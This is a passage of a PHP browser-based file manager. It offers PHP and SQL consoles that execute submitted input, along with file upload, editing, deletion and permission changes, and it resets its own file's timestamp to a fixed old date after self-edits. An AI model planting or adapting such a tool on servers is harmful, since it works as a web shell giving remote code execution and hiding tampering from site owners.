5hJVrtCxe+AkgYhgTWIsZgoggRwVp7YWCryxijFWAyGAyeIVKocyLW1o+o6ucL8Hmez4DxX+8dALG7MeVUAAAAAElFTkSuQmCC");
}
<?=fm_home_style()?>
.img {
	background-image: 
url("data:image/png;base64,iVBORw0KGgoAAAANSUhEUgAAABAAAAAQCAMAAAAoLQ9TAAAABGdBTUEAAK/INwWK6QAAAdFQTFRF7e3t/f39pJ+f+cJajV8q6enpkGIm/sFO/+2O393c5ubm/sxbd29yimdneFg65OTk2zoY6uHi1zAS1crJsHs2nygo3Nrb2LBXrYtm2p5A/+hXpoRqpKOkwri46+vr0MG36Ysz6ujpmI6AnzUywL+/mXVSmIBN8bwwj1VByLGza1ZJ0NDQjYSB/9NjwZ6CwUAsxk0brZyWw7pmGZ4A6LtdkHdf/+N8yow27b5W87RNLZL/2biP7wAA//GJl5eX4NfYsaaLgp6h1b+t/+6R68Fe89ycimZd/uQv3r9NupCB99V25a1cVJbbnHhO/8xS+MBa8fDwi2Ji48qi/+qOdVIzs34x//GOXIzYp5SP/sxgqpiIcp+/siQpcmpstayszSANuKKT9PT04uLiwIky8LdE+sVWvqam8e/vL5IZ+rlH8cNg08Ccz7ad8vLy9LtU1qyUuZ4+r512+8s/wUpL3d3dx7W1fGNa/89Z2cfH+s5n6Ojob1Yts7Kz19fXwIg4p1dN+Pj4zLR0+8pd7strhKAs/9hj/9BV1KtftLS1np2dYlJSZFVV5LRWhEFB5rhZ/9Jq0HtT//CSkIqJ6K5D+LNNblVVvjM047ZMz7e31xEG////tKgu6wAAAJt0Uk5T/////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////////wCVVpKYAAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAAANZJREFUKFNjmKWiPQsZMMximsqPKpAb2MsAZNjLOwkzggVmJYnyps/QE59eKCEtBhaYFRfjZuThH27lY6kqBxYorS/OMC5wiHZkl2QCCVTkN+trtFj4ZSpMmawDFBD0lCoynzZBl1nIJj55ElBA09pdvc9buT1SYKYBWw1QIC0oNYsjrFHJpSkvRYsBKCCbM9HLN9tWrbqnjUUGZG1AhGuIXZRzpQl3aGwD2B2cZZ2zEoL7W+u6qyAunZXIOMvQrFykqwTiFzBQNOXj4QKzoAKzajtYIQwAlvtpl3V5c8MAAAAASUVORK5CYII=");
}
@media screen and (max-width:720px){
  table{display:block;}
    #fm_table td{display:inline;float:left;}
    #fm_table tbody td:first-child{width:100%;padding:0;}
    #fm_table tbody tr:nth-child(2n+1){background-color:#EFEFEF;}
    #fm_table tbody tr:nth-child(2n){background-color:#DEE3E7;}
    #fm_table tr{display:block;float:left;clear:left;width:100%;}
	#header_table .row2, #header_table .row3 {display:inline;float:left;width:100%;padding:0;}
	#header_table table td {display:inline;float:left;}
}
</style>
</head>
<body>
<?php
$url_inc = '?fm=true';
if (isset($_POST['sqlrun'])&&!empty($fm_config['enable_sql_console'])){
	$res = empty($_POST['sql']) ? '' : $_POST['sql'];
	$res_lng = 'sql';
} elseif (isset($_POST['phprun'])&&!empty($fm_config['enable_php_console'])){
	$res = empty($_POST['php']) ? '' : $_POST['php'];
	$res_lng = 'php';
} 
if (isset($_GET['fm_settings'])) {
	echo ' 
<table class="whole">
<form method="post" action="">
<tr><th colspan="2">'.__('File manager').' - '.__('Settings').'</th></tr>
'.(empty($msg)?'':'<tr><td class="row2" colspan="2">'.$msg.'</td></tr>').'
'.fm_config_checkbox_row(__('Show size of the folder'),'show_dir_size').'
'.fm_config_checkbox_row(__('Show').' '.__('pictures'),'show_img').'
'.fm_config_checkbox_row(__('Show').' '.__('Make directory'),'make_directory').'
'.fm_config_checkbox_row(__('Show').' '.__('New file'),'new_file').'
'.fm_config_checkbox_row(__('Show').' '.__('Upload'),'upload_file').'
'.fm_config_checkbox_row(__('Show').' PHP version','show_php_ver').'
'.fm_config_checkbox_row(__('Show').' PHP ini','show_php_ini').'
'.fm_config_checkbox_row(__('Show').' '.__('Generation time'),'show_gt').'
'.fm_config_checkbox_row(__('Show').' xls','show_xls').'
'.fm_config_checkbox_row(__('Show').' PHP '.__('Console'),'enable_php_console').'
'.fm_config_checkbox_row(__('Show').' SQL '.__('Console'),'enable_sql_console').'
<tr><td class="row1"><input name="fm_config[sql_server]" value="'.$fm_config['sql_server'].'" type="text"></td><td class="row2 whole">SQL server</td></tr>
<tr><td class="row1"><input name="fm_config[sql_username]" value="'.$fm_config['sql_username'].'" type="text"></td><td class="row2 whole">SQL user</td></tr>
<tr><td class="row1"><input name="fm_config[sql_password]" value="'.$fm_config['sql_password'].'" type="text"></td><td class="row2 whole">SQL password</td></tr>
<tr><td class="row1"><input name="fm_config[sql_db]" value="'.$fm_config['sql_db'].'" type="text"></td><td class="row2 whole">SQL DB</td></tr>
'.fm_config_checkbox_row(__('Show').' Proxy','enable_proxy').'
'.fm_config_checkbox_row(__('Show').' phpinfo()','show_phpinfo').'
'.fm_config_checkbox_row(__('Show').' '.__('Settings'),'fm_settings').'
'.fm_config_checkbox_row(__('Restore file time after editing'),'restore_time').'
'.fm_config_checkbox_row(__('File manager').': '.__('Restore file time after editing'),'fm_restore_time').'
<tr><td class="row3"><a href="'.fm_url().'?fm_settings=true&fm_config_delete=true">'.__('Reset settings').'</a></td><td class="row3"><input type="submit" value="'.__('Save').'" name="fm_config[fm_set_submit]"></td></tr>
</form>
</table>
<table>
<form method="post" action="">
<tr><th colspan="2">'.__('Settings').' - '.__('Authorization').'</th></tr>
<tr><td class="row1"><input name="fm_login[authorize]" value="1" '.($auth['authorize']?'checked':'').' type="checkbox" id="auth"></td><td class="row2 whole"><label for="auth">'.__('Authorization').'</label></td></tr>
<tr><td class="row1"><input name="fm_login[login]" value="'.$auth['login'].'" type="text"></td><td class="row2 whole">'.__('Login').'</td></tr>
<tr><td class="row1"><input name="fm_login[password]" value="'.$auth['password'].'" type="text"></td><td class="row2 whole">'.__('Password').'</td></tr>
<tr><td class="row1"><input name="fm_login[cookie_name]" value="'.$auth['cookie_name'].'" type="text"></td><td class="row2 whole">'.__('Cookie').'</td></tr>
<tr><td class="row1"><input name="fm_login[days_authorization]" value="'.$auth['days_authorization'].'" type="text"></td><td class="row2 whole">'.__('Days').'</td></tr>
<tr><td class="row1"><textarea name="fm_login[script]" cols="35" rows="7" class="textarea_input" id="auth_script">'.$auth['script'].'</textarea></td><td class="row2 whole">'.__('Script').'</td></tr>
<tr><td colspan="2" class="row3"><input type="submit" value="'.__('Save').'" ></td></tr>
</form>
</table>';
echo fm_tpl_form('php'),fm_tpl_form('sql');
} elseif (isset($proxy_form)) {
	die($proxy_form);
} elseif (isset($res_lng)) {	
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row2"><table><tr><td><h2><?=strtoupper($res_lng)?> <?=__('Console')?><?php
	if($res_lng=='sql') echo ' - Database: '.$fm_config['sql_db'].'</h2></td><td>'.fm_run_input('php');
	else echo '</h2></td><td>'.fm_run_input('sql');
	?></td></tr></table></td>
</tr>
<tr>
    <td class="row1">
		<a href="<?=$url_inc.'&path=' . $path;?>"><?=__('Back')?></a>
		<form action="" method="POST" name="console">
		<textarea name="<?=$res_lng?>" cols="80" rows="10" style="width: 90%"><?=$res?></textarea><br/>
		<input type="reset" value="<?=__('Reset')?>">
		<input type="submit" value="<?=__('Submit')?>" name="<?=$res_lng?>run">
<?php
$str_tmpl = $res_lng.'_templates';
$tmpl = !empty($$str_tmpl) ? json_decode($$str_tmpl,true) : '';
if (!empty($tmpl)){
	$active = isset($_POST[$res_lng.'_tpl']) ? $_POST[$res_lng.'_tpl'] : '';
	$select = '<select name="'.$res_lng.'_tpl" title="'.__('Template').'" onchange="if (this.value!=-1) document.forms[\'console\'].elements[\''.$res_lng.'\'].value = this.options[selectedIndex].value; else document.forms[\'console\'].elements[\''.$res_lng.'\'].value =\'\';" >'."\n";
	$select .= '<option value="-1">' . __('Select') . "</option>\n";
	foreach ($tmpl as $key=>$value){
		$select.='<option value="'.$value.'" '.((!empty($value)&&($value==$active))?'selected':'').' >'.__($key)."</option>\n";
	}
	$select .= "</select>\n";
	echo $select;
}
?>
		</form>
	</td>
</tr>
</table>
<?php
	if (!empty($res)) {
		$fun='fm_'.$res_lng;
		echo '<h3>'.strtoupper($res_lng).' '.__('Result').'</h3><pre>'.$fun($res).'</pre>';
	}
} elseif (!empty($_REQUEST['edit'])){
	if(!empty($_REQUEST['save'])) {
		$fn = $path . $_REQUEST['edit'];
		$filemtime = filemtime($fn);
	    if (file_put_contents($fn, $_REQUEST['newcontent'])) $msg .= __('File updated');
		else $msg .= __('Error occurred');
		if ($_GET['edit']==basename(__FILE__)) {
			touch(__FILE__,1415116371);
		} else {
			if (!empty($fm_config['restore_time'])) touch($fn,$filemtime);
		}
	}
    $oldcontent = @file_get_contents($path . $_REQUEST['edit']);
    $editlink = $url_inc . '&edit=' . $_REQUEST['edit'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table border='0' cellspacing='0' cellpadding='1' width="100%">
<tr>
    <th><?=__('File manager').' - '.__('Edit').' - '.$path.$_REQUEST['edit']?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <?=fm_home()?> <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$editlink?>">
            <textarea name="newcontent" id="newcontent" cols="45" rows="15" style="width:99%" spellcheck="false"><?=htmlspecialchars($oldcontent)?></textarea>
            <input type="submit" name="save" value="<?=__('Submit')?>">
            <input type="submit" name="cancel" value="<?=__('Cancel')?>">
        </form>
    </td>
</tr>
</table>
<?php
echo $auth['script'];
} elseif(!empty($_REQUEST['rights'])){
	if(!empty($_REQUEST['save'])) {
	    if(fm_chmod($path . $_REQUEST['rights'], fm_convert_rights($_REQUEST['rights_val']), @$_REQUEST['recursively']))
		$msg .= (__('File updated')); 
		else $msg .= (__('Error occurred'));
	}
	clearstatcache();
    $oldrights = fm_rights_string($path . $_REQUEST['rights'], true);
    $link = $url_inc . '&rights=' . $_REQUEST['rights'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;
?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
           <?=__('Rights').' - '.$_REQUEST['rights']?> <input type="text" name="rights_val" value="<?=$oldrights?>">
        <?php if (is_dir($path.$_REQUEST['rights'])) { ?>
            <input type="checkbox" name="recursively" value="1"> <?=__('Recursively')?><br/>
        <?php } ?>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} elseif (!empty($_REQUEST['rename'])&&$_REQUEST['rename']<>'.') {
	if(!empty($_REQUEST['save'])) {
	    rename($path . $_REQUEST['rename'], $path . $_REQUEST['newname']);
		$msg .= (__('File updated'));
		$_REQUEST['rename'] = $_REQUEST['newname'];
	}
	clearstatcache();
    $link = $url_inc . '&rename=' . $_REQUEST['rename'] . '&path=' . $path;
    $backlink = $url_inc . '&path=' . $path;

?>
<table class="whole">
<tr>
    <th><?=__('File manager').' - '.$path?></th>
</tr>
<tr>
    <td class="row1">
        <?=$msg?>
	</td>
</tr>
<tr>
    <td class="row1">
        <a href="<?=$backlink?>"><?=__('Back')?></a>
	</td>
</tr>
<tr>
    <td class="row1" align="center">
        <form name="form1" method="post" action="<?=$link?>">
            <?=__('Rename')?>: <input type="text" name="newname" value="<?=$_REQUEST['rename']?>"><br/>
            <input type="submit" name="save" value="<?=__('Submit')?>">
        </form>
    </td>
</tr>
</table>
<?php
} else {
//Let's rock!
    $msg = '';
    if(!empty($_FILES['upload'])&&!empty($fm_config['upload_file'])) {
        if(!empty($_FILES['upload']['name'])){
            $_FILES['upload']['name'] = str_replace('%', '', $_FILES['upload']['name']);
            if(!move_uploaded_file($_FILES['upload']['tmp_name'], $path . $_FILES['upload']['name'])){
                $msg .= __('Error occurred');
            } else {
				$msg .= __('Files uploaded').': '.$_FILES['upload']['name'];
			}
        }
    } elseif(!empty($_REQUEST['delete'])&&$_REQUEST['delete']<>'.') {
        if(!fm_del_files(($path . $_REQUEST['delete']), true)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Deleted').' '.$_REQUEST['delete'];
		}
	} elseif(!empty($_REQUEST['mkdir'])&&!empty($fm_config['make_directory'])) {
        if(!@mkdir($path . $_REQUEST['dirname'],0777)) {
            $msg .= __('Error occurred');
        } else {
			$msg .= __('Created').' '.$_REQUEST['dirname'];
		}
    } elseif(!empty($_REQUEST['mkfile'])&&!empty($fm_config['new_file'])) {
        if(!$fp=@fopen($path . $_REQUEST['filename'],"w")) {
            $msg .= __('Error occurred');
        } else {
			fclose($fp);
			$msg .= __('Created').' '.$_REQUEST['filename'];
		}
    } elseif (isset($_GET['zip'])) {
		$source = base64_decode($_GET['zip']);
		$destination = basename($source).'.zip';
		set_time_limit(0);
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		if (is_file($destination))
		$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
		'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
		.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '. $destination.'" >'.__('Delete') . '</a>';
		else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['gz'])) {
		$source = base64_decode($_GET['gz']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		clearstatcache();
		set_time_limit(0);
		//die();
		$phar = new PharData($destination);
		$phar->buildFromDirectory($source);
		$phar->compress(Phar::GZ,'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}

			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	} elseif (isset($_GET['decompress'])) {
		// $source = base64_decode($_GET['decompress']);
		// $destination = basename($source);
		// $ext = end(explode(".", $destination));
		// if ($ext=='zip' OR $ext=='gz') {
			// $phar = new PharData($source);
			// $phar->decompress();
			// $base_file = str_replace('.'.$ext,'',$destination);
			// $ext = end(explode(".", $base_file));
			// if ($ext=='tar'){
				// $phar = new PharData($base_file);
				// $phar->extractTo(dir($source));
			// }
		// } 
		// $msg .= __('Task').' "'.__('Decompress').' '.$source.'" '.__('done');
	} elseif (isset($_GET['gzfile'])) {
		$source = base64_decode($_GET['gzfile']);
		$archive = $source.'.tar';
		$destination = basename($source).'.tar';
		if (is_file($archive)) unlink($archive);
		if (is_file($archive.'.gz')) unlink($archive.'.gz');
		set_time_limit(0);
		//echo $destination;
		$ext_arr = explode('.',basename($source));
		if (isset($ext_arr[1])) {
			unset($ext_arr[0]);
			$ext=implode('.',$ext_arr);
		} 
		$phar = new PharData($destination);
		$phar->addFile($source);
		$phar->compress(Phar::GZ,$ext.'.tar.gz');
		unset($phar);
		if (is_file($archive)) {
			if (is_file($archive.'.gz')) {
				unlink($archive); 
				$destination .= '.gz';
			}
			$msg .= __('Task').' "'.__('Archiving').' '.$destination.'" '.__('done').
			'.&nbsp;'.fm_link('download',$path.$destination,__('Download'),__('Download').' '. $destination)
			.'&nbsp;<a href="'.$url_inc.'&delete='.$destination.'&path=' . $path.'" title="'.__('Delete').' '.$destination.'" >'.__('Delete').'</a>';
		} else $msg .= __('Error occurred').': '.__('no files');
	}
?>
<table class="whole" id="header_table" >
<tr>
    <th colspan="2"><?=__('File manager')?><?=(!empty($path)?' - '.$path:'')?></th>
</tr>
<?php if(!empty($msg)){ ?>
<tr>
	<td colspan="2" class="row2"><?=$msg?></td>
</tr>
<?php } ?>
<tr>
    <td class="row2">
		<table>
			<tr>
			<td>
				<?=fm_home()?>
			</td>
			<td>
			<?php if(!empty($fm_config['make_directory'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="dirname" size="15">
				<input type="submit" name="mkdir" value="<?=__('Make directory')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?php if(!empty($fm_config['new_file'])) { ?>
				<form method="post" action="<?=$url_inc?>">
				<input type="hidden" name="path" value="<?=$path?>" />
				<input type="text" name="filename" size="15">
				<input type="submit" name="mkfile" value="<?=__('New file')?>">
				</form>
			<?php } ?>
			</td>
			<td>
			<?=fm_run_input('php')?>
			</td>
			<td>
			<?=fm_run_input('sql')?>
			</td>
			</tr>
		</table>
    </td>
    <td class="row3">
		<table>
		<tr>
		<td>
		<?php if (!empty($fm_config['upload_file'])) { ?>
			<form name="form1" method="post" action="<?=$url_inc?>" enctype="multipart/form-data">
			<input type="hidden" name="path" value="<?=$path?>" />
			<input type="file" name="upload" id="upload_hidden" style="position: absolute; display: block; overflow: hidden; width: 0; height: 0; border: 0; padding: 0;" onchange="document.getElementById('upload_visible').value = this.value;" />
			<input type="text" readonly="1" id="upload_visible" placeholder="<?=__('Select the file')?>" style="cursor: pointer;" onclick="document.getElementById('upload_hidden').click();" />
			<input type="submit" name="test" value="<?=__('Upload')?>" />
			</form>
		<?php } ?>
		</td>
		<td>
		<?php if ($auth['authorize']) { ?>
			<form action="" method="post">&nbsp;&nbsp;&nbsp;
			<input name="quit" type="hidden" value="1">
			<?=__('Hello')?>, <?=$auth['login']?>
			<input type="submit" value="<?=__('Quit')?>">
			</form>
		<?php } ?>
		</td>
		<td>
		<?=fm_lang_form($language)?>
		</td>
		<tr>
		</table>
    </td>
</tr>
</table>
<table class="all" border='0' cellspacing='1' cellpadding='1' id="fm_table" width="100%">
<thead>
<tr> 
    <th style="white-space:nowrap"> <?=__('Filename')?> </th>
    <th style="white-space:nowrap"> <?=__('Size')?> </th>
    <th style="white-space:nowrap"> <?=__('Date')?> </th>
    <th style="white-space:nowrap"> <?=__('Rights')?> </th>
    <th colspan="4" style="white-space:nowrap"> <?=__('Manage')?> </th>
</tr>
</thead>
<tbody>
<?php
$elements = fm_scan_dir($path, '', 'all', true);
$dirs = array();
$files = array();
foreach ($elements as $file){
    if(@is_dir($path . $file)){
        $dirs[] = $file;
    } else {
        $files[] = $file;
    }
}
natsort($dirs); natsort($files);
$elements = array_merge($dirs, $files);

foreach ($elements as $file){
    $filename = $path . $file;
    $filedata = @stat($filename);
    if(@is_dir($filename)){
		$filedata[7] = '';
		if (!empty($fm_config['show_dir_size'])&&!fm_root($file)) $filedata[7] = fm_dir_size($filename);
        $link = '<a href="'.$url_inc.'&path='.$path.$file.'" title="'.__('Show').' '.$file.'"><span class="folder">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
        $loadlink= (fm_root($file)||$phar_maybe) ? '' : fm_link('zip',$filename,__('Compress').'&nbsp;zip',__('Archiving').' '. $file);
		$arlink  = (fm_root($file)||$phar_maybe) ? '' : fm_link('gz',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '.$file);
        $style = 'row2';
		 if (!fm_root($file)) $alert = 'onClick="if(confirm(\'' . __('Are you sure you want to delete this directory (recursively)?').'\n /'. $file. '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"'; else $alert = '';
    } else {
		$link = 
			$fm_config['show_img']&&@getimagesize($filename) 
			? '<a target="_blank" onclick="var lefto = screen.availWidth/2-320;window.open(\''
			. fm_img_link($filename)
			.'\',\'popup\',\'width=640,height=480,left=\' + lefto + \',scrollbars=yes,toolbar=no,location=no,directories=no,status=no\');return false;" href="'.fm_img_link($filename).'"><span class="img">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>'
			: '<a href="' . $url_inc . '&edit=' . $file . '&path=' . $path. '" title="' . __('Edit') . '"><span class="file">&nbsp;&nbsp;&nbsp;&nbsp;</span> '.$file.'</a>';
		$e_arr = explode(".", $file);
		$ext = end($e_arr);
        $loadlink =  fm_link('download',$filename,__('Download'),__('Download').' '. $file);
		$arlink = in_array($ext,array('zip','gz','tar')) 
		? ''
		: ((fm_root($file)||$phar_maybe) ? '' : fm_link('gzfile',$filename,__('Compress').'&nbsp;.tar.gz',__('Archiving').' '. $file));
        $style = 'row1';
		$alert = 'onClick="if(confirm(\''. __('File selected').': \n'. $file. '. \n'.__('Are you sure you want to delete this file?') . '\')) document.location.href = \'' . $url_inc . '&delete=' . $file . '&path=' . $path  . '\'"';
    }
    $deletelink = fm_root($file) ? '' : '<a href="#" title="' . __('Delete') . ' '. $file . '" ' . $alert . '>' . __('Delete') . '</a>';
    $renamelink = fm_root($file) ? '' : '<a href="' . $url_inc . '&rename=' . $file . '&path=' . $path . '" title="' . __('Rename') .' '. $file . '">' . __('Rename') . '</a>';
    $rightstext = ($file=='.' || $file=='..') ? '' : '<a href="' . $url_inc . '&rights=' . $file . '&path=' . $path . '" title="' . __('Rights') .' '. $file . '">' . @fm_rights_string($filename) . '</a>';
?>
<tr class="<?=$style?>"> 
    <td><?=$link?></td>
    <td><?=$filedata[7]?></td>
    <td style="white-space:nowrap"><?=gmdate("Y-m-d H:i:s",$filedata[9])?></td>
    <td><?=$rightstext?></td>
    <td><?=$deletelink?></td>
    <td><?=$renamelink?></td>
    <td><?=$loadlink?></td>
    <td><?=$arlink?></td>
</tr>
<?php
    }
}
?>
</tbody>
</table>
<div class="row3"><?php
	$mtime = explode(' ', microtime()); 
	$totaltime = $mtime[0] + $mtime[1] - $starttime; 
	echo fm_home().' | ver. '.$fm_version.' | <a href="https://github.com/Den1xxx/Filemanager">Github</a>  | <a href="'.fm_site_url().'">.</a>';
	if (!empty($fm_config['show_php_ver'])) echo ' | PHP '.phpversion();
	if (!empty($fm_config['show_php_ini'])) echo ' | '.php_ini_loaded_file();
	if (!empty($fm_config['show_gt'])) echo ' | '.__('Generation time').': '.round($totaltime,2);
	if (!empty($fm_config['enable_proxy'])) echo ' | <a href="?proxy=true">proxy</a>';
	if (!empty($fm_config['show_phpinfo'])) echo ' | <a href="?phpinfo=true">phpinfo</a>';
	if (!empty($fm_config['show_xls'])&&!empty($link)) echo ' | <a href="javascript: void(0)" onclick="var obj = new table2Excel(); obj.CreateExcelSheet(\'fm_table\',\'export\');" title="'.__('Download').' xls">xls</a>';
	if (!empty($fm_config['fm_settings'])) echo ' | <a href="?fm_settings=true">'.__('Settings').'</a>';
	?>
</div>
<script type="text/javascript">
function download_xls(filename, text) {
	var element = document.createElement('a');
	element.setAttribute('href', 'data:application/vnd.ms-excel;base64,' + text);
	element.setAttribute('download', filename);
	element.style.display = 'none';
	document.body.appendChild(element);
	element.click();
	document.body.removeChild(element);
}

function base64_encode(m) {
	for (var k = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/".split(""), c, d, h, e, a, g = "", b = 0, f, l = 0; l < m.length; ++l) {
		c = m.charCodeAt(l);
		if (128 > c) d = 1;
		else
			for (d = 2; c >= 2 << 5 * d;) ++d;
		for (h = 0; h < d; ++h) 1 == d ? e = c : (e = h ? 128 : 192, a = d - 2 - 6 * h, 0 <= a && (e += (6 <= a ? 1 : 0) + (5 <= a ? 2 : 0) + (4 <= a ? 4 : 0) + (3 <= a ? 8 : 0) + (2 <= a ? 16 : 0) + (1 <= a ? 32 : 0), a -= 5), 0 > a && (u = 6 * (d - 1 - h), e += c >> u, c -= c >> u << u)), f = b ? f << 6 - b : 0, b += 2, f += e >> b, g += k[f], f = e % (1 << b), 6 == b && (b = 0, g += k[f])
	}
	b && (g += k[f << 6 - b]);
	return g
}


var tableToExcelData = (function() {
    var uri = 'data:application/vnd.ms-excel;base64,',
    template = '<html xmlns:o="urn:schemas-microsoft-com:office:office" xmlns:x="urn:schemas-microsoft-com:office:excel" xmlns="http://www.w3.org/TR/REC-html40"><head><!--[if gte mso 9]><xml><x:ExcelWorkbook><x:ExcelWorksheets><x:ExcelWorksheet><x:Name>{worksheet}</x:Name><x:WorksheetOptions><x:DisplayGridlines></x:DisplayGridlines></x:WorksheetOptions></x:ExcelWorksheet></x:ExcelWorksheets></x:ExcelWorkbook></xml><![endif]--><meta http-equiv="content-type" content="text/plain; charset=UTF-8"/></head><body><table>{table}</table></body></html>',
    format = function(s, c) {
            return s.replace(/{(\w+)}/g, function(m, p) {
                return c[p];
            })
        }
    return function(table, name) {
        if (!table.nodeType) table = document.getElementById(table)
        var ctx = {
            worksheet: name || 'Worksheet',
            table: table.innerHTML.replace(/<span(.*?)\/span> /g,"").replace(/<a\b[^>]*>(.*?)<\/a>/g,"$1")
        }
		t = new Date();
		filename = 'fm_' + t.toISOString() + '.xls'
		download_xls(filename, base64_encode(format(template, ctx)))
    }
})();

var table2Excel = function () {

    var ua = window.navigator.userAgent;
    var msie = ua.indexOf("MSIE ");

	this.CreateExcelSheet = 
		function(el, name){
			if (msie > 0 || !!navigator.userAgent.match(/Trident.*rv\:11\./)) {// If Internet Explorer

				var x = document.getElementById(el).rows;

				var xls = new ActiveXObject("Excel.Application");

				xls.visible = true;
				xls.Workbooks.Add
				for (i = 0; i < x.length; i++) {
					var y = x[i].cells;

					for (j = 0; j < y.length; j++) {
						xls.Cells(i + 1, j + 1).Value = y[j].innerText;
					}
				}
				xls.Visible = true;
				xls.UserControl = true;
				return xls;
			} else {
				tableToExcelData(el, name);
			}
		}
}
</script>
</body>
</html>

<?php
//Ported from ReloadCMS project http://reloadcms.com
class archiveTar {
	var $archive_name = '';
	var $tmp_file = 0;
	var $file_pos = 0;
	var $isGzipped = true;
	var $errors = array();
	var $files = array();
	
	function __construct(){
		if (!isset($this->errors)) $this->errors = array();
	}
	
	function createArchive($file_list){
		$result = false;
		if (file_exists($this->archive_name) && is_file($this->archive_name)) 	$newArchive = false;
		else $newArchive = true;
		if ($newArchive){
			if (!$this->openWrite()) return false;
		} else {
			if (filesize($this->archive_name) == 0)	return $this->openWrite();
			if ($this->isGzipped) {
				$this->closeTmpFile();
				if (!rename($this->archive_name, $this->archive_name.'.tmp')){
					$this->errors[] = __('Cannot rename').' '.$this->archive_name.__(' to ').$this->archive_name.'.tmp';
					return false;
				}
				$tmpArchive = gzopen($this->archive_name.'.tmp', 'rb');
				if (!$tmpArchive){
					$this->errors[] = $this->archive_name.'.tmp '.__('is not readable');
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				if (!$this->openWrite()){
					rename($this->archive_name.'.tmp', $this->archive_name);
					return false;
				}
				$buffer = gzread($tmpArchive, 512);
				if (!gzeof($tmpArchive)){
					do {
						$binaryData = pack('a512', $buffer);
						$this->writeBlock($binaryData);
						$buffer = gzread($tmpArchive, 512);
					}
					while (!gzeof($tmpArchive));
				}
				gzclose($tmpArchive);
				unlink($this->archive_name.'.tmp');
			} else {
				$this->tmp_file = fopen($this->archive_name, 'r+b');
				if (!$this->tmp_file)	return false;
			}
		}
		if (isset($file_list) && is_array($file_list)) {
		if (count($file_list)>0)
			$result = $this->packFileArray($file_list);
		} else $this->errors[] = __('No file').__(' to ').__('Archive');
		if (($result)&&(is_resource($this->tmp_file))){
			$binaryData = pack('a512', '');
			$this->writeBlock($binaryData);
		}
		$this->closeTmpFile();
		if ($newArchive && !$result){
		$this->closeTmpFile();
		unlink($this->archive_name);
		}
		return $result;
	}

	function restoreArchive($path){
		$fileName = $this->archive_name;
		if (!$this->isGzipped){
			if (file_exists($fileName)){
				if ($fp = fopen($fileName, 'rb')){
					$data = fread($fp, 2);
					fclose($fp);
					if ($data == '\37\213'){
						$this->isGzipped = true;
					}
				}
			}
			elseif ((substr($fileName, -2) == 'gz') OR (substr($fileName, -3) == 'tgz')) $this->isGzipped = true;
		} 
		$result = true;
		if ($this->isGzipped) $this->tmp_file = gzopen($fileName, 'rb');
		else $this->tmp_file = fopen($fileName, 'rb');
		if (!$this->tmp_file){
			$this->errors[] = $fileName.' '.__('is not readable');
			return false;
		}
		$result = $this->unpackFileArray($path);
			$this->closeTmpFile();
		return $result;
	}

	function showErrors	($message = '') {
		$Errors = $this->errors;
		if(count($Errors)>0) {
		if (!empty($message)) $message = ' ('.$message.')';
			$message = __('Error occurred').$message.': <br/>';
			foreach ($Errors as $value)
				$message .= $value.'<br/>';
			return $message;	
		} else return '';
		
	}
	
	function packFileArray($file_array){
		$result = true;
		if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
		}
		if (!is_array($file_array) || count($file_array)<=0)
          return true;
		for ($i = 0; $i<count($file_array); $i++){
			$filename = $file_array[$i];
			if ($filename == $this->archive_name)
				continue;
			if (strlen($filename)<=0)
				continue;
			if (!file_exists($filename)){
				$this->errors[] = __('No file').' '.$filename;
				continue;
			}
			if (!$this->tmp_file){
			$this->errors[] = __('Invalid file descriptor');
			return false;
			}
		if (strlen($filename)<=0){
			$this->errors[] = __('Filename').' '.__('is incorrect');;
			return false;
		}
		$filename = str_replace('\\', '/', $filename);
		$keep_filename = $this->makeGoodPath($filename);
		if (is_file($filename)){
			if (($file = fopen($filename, 'rb')) == 0){
				$this->errors[] = __('Mode ').__('is incorrect');
			}
				if(($this->file_pos == 0)){
